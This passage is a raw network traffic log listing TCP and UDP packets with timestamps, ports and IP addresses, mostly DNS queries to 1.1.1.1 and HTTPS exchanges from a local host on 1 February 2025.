Feb 1, 2025 22:00:24.790930033 CET	50138	443	192.168.2.6	204.79.197.203
Feb 1, 2025 22:00:29.900592089 CET	49703	443	192.168.2.6	40.126.31.71
Feb 1, 2025 22:00:29.900877953 CET	49706	80	192.168.2.6	2.17.190.73
Feb 1, 2025 22:00:29.905613899 CET	443	49703	40.126.31.71	192.168.2.6
Feb 1, 2025 22:00:29.905698061 CET	49703	443	192.168.2.6	40.126.31.71
Feb 1, 2025 22:00:29.905867100 CET	80	49706	2.17.190.73	192.168.2.6
Feb 1, 2025 22:00:29.905925035 CET	49706	80	192.168.2.6	2.17.190.73
Feb 1, 2025 22:00:33.541081905 CET	49707	443	192.168.2.6	40.126.31.71
Feb 1, 2025 22:00:33.546221018 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 22:00:33.546291113 CET	49707	443	192.168.2.6	40.126.31.71
Feb 1, 2025 22:00:42.641387939 CET	443	50136	23.219.82.82	192.168.2.6
Feb 1, 2025 22:00:42.641499043 CET	443	50136	23.219.82.82	192.168.2.6
Feb 1, 2025 22:00:42.641541004 CET	50136	443	192.168.2.6	23.219.82.82
Feb 1, 2025 22:00:43.642998934 CET	50139	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:43.643028975 CET	443	50139	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:43.643120050 CET	50139	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:43.643834114 CET	50139	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:43.643846989 CET	443	50139	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:44.459419966 CET	443	50139	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:44.459533930 CET	50139	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:44.463937998 CET	50139	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:44.463946104 CET	443	50139	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:44.464212894 CET	443	50139	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:44.466331959 CET	50139	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:44.466418028 CET	50139	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:44.466425896 CET	443	50139	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:44.466531992 CET	50139	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:44.507344007 CET	443	50139	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:44.643500090 CET	443	50139	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:44.643697977 CET	443	50139	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:44.643795967 CET	50139	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:44.643927097 CET	50139	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:44.643945932 CET	443	50139	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:57.440498114 CET	49987	443	192.168.2.6	204.79.197.219
Feb 1, 2025 22:00:57.440525055 CET	443	49987	204.79.197.219	192.168.2.6
Feb 1, 2025 22:00:57.456501007 CET	49986	443	192.168.2.6	204.79.197.219
Feb 1, 2025 22:00:57.456531048 CET	443	49986	204.79.197.219	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 1, 2025 21:58:53.878693104 CET	52870	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:58:53.885353088 CET	53	52870	1.1.1.1	192.168.2.6
Feb 1, 2025 21:58:54.959950924 CET	51238	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:58:54.972740889 CET	53	51238	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:04.715564013 CET	53	51839	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:04.715949059 CET	53	58974	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:04.830661058 CET	54551	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:04.830822945 CET	57249	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:04.838556051 CET	53	54551	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:04.838574886 CET	53	57249	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:05.812465906 CET	53	55487	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:06.413965940 CET	53	62224	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:07.695122957 CET	56062	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:07.695286036 CET	57755	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:07.699959040 CET	53	61739	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:07.701770067 CET	53	56062	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:07.701782942 CET	53	57755	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:08.701019049 CET	58294	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:08.701200008 CET	52609	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:08.708412886 CET	53	58294	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:08.708431005 CET	53	52609	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:09.424241066 CET	53	62784	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:19.210855961 CET	63421	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:19.211513996 CET	59753	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:19.218065023 CET	53	63421	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:19.219300032 CET	53	59753	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:20.210720062 CET	63937	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:20.211765051 CET	59091	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:20.219149113 CET	53	59091	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:20.219619989 CET	53	63937	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:21.373476028 CET	57909	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:21.373621941 CET	60602	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:21.380206108 CET	53	57909	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:21.380321980 CET	53	60602	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:21.382050037 CET	53691	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:21.382179976 CET	49656	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:21.388597965 CET	53	53691	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:21.389508963 CET	53	49656	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:21.389750957 CET	50872	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:21.389991999 CET	61138	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:21.395981073 CET	58422	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:21.396219969 CET	50862	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:21.396675110 CET	53	50872	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:21.396794081 CET	53	61138	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:21.402843952 CET	53	58422	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:21.403012037 CET	53	50862	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:22.310259104 CET	49978	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:22.310440063 CET	63376	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:22.318105936 CET	53	49978	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:22.318624973 CET	53	63376	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:23.587121964 CET	53866	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:23.588041067 CET	62365	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:23.588888884 CET	51318	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:23.589049101 CET	52196	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:23.593791008 CET	53	53866	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:23.595305920 CET	53	62365	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:23.595760107 CET	53	51318	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:23.595803976 CET	53	52196	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:23.866482019 CET	57388	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:23.866636992 CET	62306	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:23.873354912 CET	53	62306	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:23.873393059 CET	53	57388	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:24.041563988 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.068806887 CET	63453	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.342384100 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.343717098 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.375932932 CET	63453	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.604582071 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.605737925 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.607034922 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.607099056 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.607116938 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.607135057 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.607965946 CET	63453	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.610308886 CET	63453	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.611573935 CET	63453	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.611833096 CET	63453	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.613094091 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.613111019 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.613130093 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.613146067 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.614244938 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.615487099 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.617855072 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.617938995 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.653831959 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.792701960 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.792721033 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.792754889 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.792848110 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.792865992 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.793087006 CET	63453	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.793550968 CET	63453	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.794188023 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.794202089 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.794322968 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.794334888 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.794346094 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.794491053 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.794563055 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.796650887 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.797566891 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.797595978 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.800020933 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.800163031 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.800179005 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.801229000 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.801956892 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.802053928 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.802292109 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.802371979 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.802409887 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.802411079 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.802514076 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.802647114 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.802881956 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.815874100 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.815921068 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.815992117 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.816025019 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.816315889 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.816378117 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.816406965 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.818444967 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.820930004 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.820974112 CET	63453	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.822525024 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.832853079 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.832876921 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.833080053 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.837162018 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.837336063 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.841511965 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.846515894 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.847528934 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.852082014 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.857204914 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.864706039 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.869237900 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.869280100 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.869580030 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.871792078 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.875332117 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.875494003 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.881457090 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.885834932 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.886364937 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.890204906 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.895574093 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.895904064 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.899920940 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.899959087 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.900007010 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.900542021 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.900820017 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.900834084 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.901112080 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.901772022 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.902729034 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.902836084 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.903098106 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.905380964 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.905592918 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.909737110 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.914171934 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.914355040 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.919431925 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.924791098 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.926887989 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.929230928 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.929549932 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.939028025 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.939089060 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.939273119 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.942951918 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.946880102 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.948441029 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.953035116 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.953918934 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.958398104 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.963074923 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.963437080 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.972685099 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.972707987 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.972930908 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.982973099 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.983017921 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.983289003 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.990356922 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.993779898 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.994055033 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.996360064 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.997716904 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:25.000730991 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.000900030 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.005808115 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.010874987 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.011044025 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.015229940 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.020409107 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.021162987 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.024357080 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:25.025566101 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.029583931 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.029772043 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.036341906 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.039307117 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.039478064 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.039777040 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:25.046394110 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.053800106 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.053824902 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.054099083 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.058823109 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.059020996 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.064085960 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.068039894 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:25.068758011 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.068929911 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.073560953 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.079144955 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.079303980 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.082998037 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.093038082 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.093091965 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.093374014 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.096291065 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.096463919 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.099349976 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.103493929 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.103698015 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.107422113 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.112723112 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.112915993 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.116357088 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.119117975 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.119334936 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.123181105 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.126646996 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.126821041 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.130901098 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.133632898 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.134002924 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.137959003 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.141251087 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.141422987 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.148423910 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.148462057 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.148694992 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.151510954 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.154793024 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.155026913 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.158029079 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.162267923 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.162457943 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.167419910 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.167453051 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.167469025 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.167592049 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.167649984 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.167665005 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.167680025 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.167716026 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.167727947 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.167732954 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.167747974 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.167784929 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.168066025 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.168159962 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.168217897 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.181109905 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.181273937 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.181303978 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.181503057 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.181555033 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.181570053 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.181593895 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.181607962 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.181622028 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.181684017 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.182123899 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.198864937 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.198885918 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.198926926 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.198944092 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.198957920 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.198971987 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.199018002 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.199049950 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.199064970 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.199079037 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.199368000 CET	56028	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:25.214587927 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.214641094 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.214656115 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.214673042 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.214695930 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.214710951 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.214732885 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.214749098 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.214761972 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.214776993 CET	443	56028	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:25.214987993 CET	56028	443	192.168.2.6	2.23.209.3
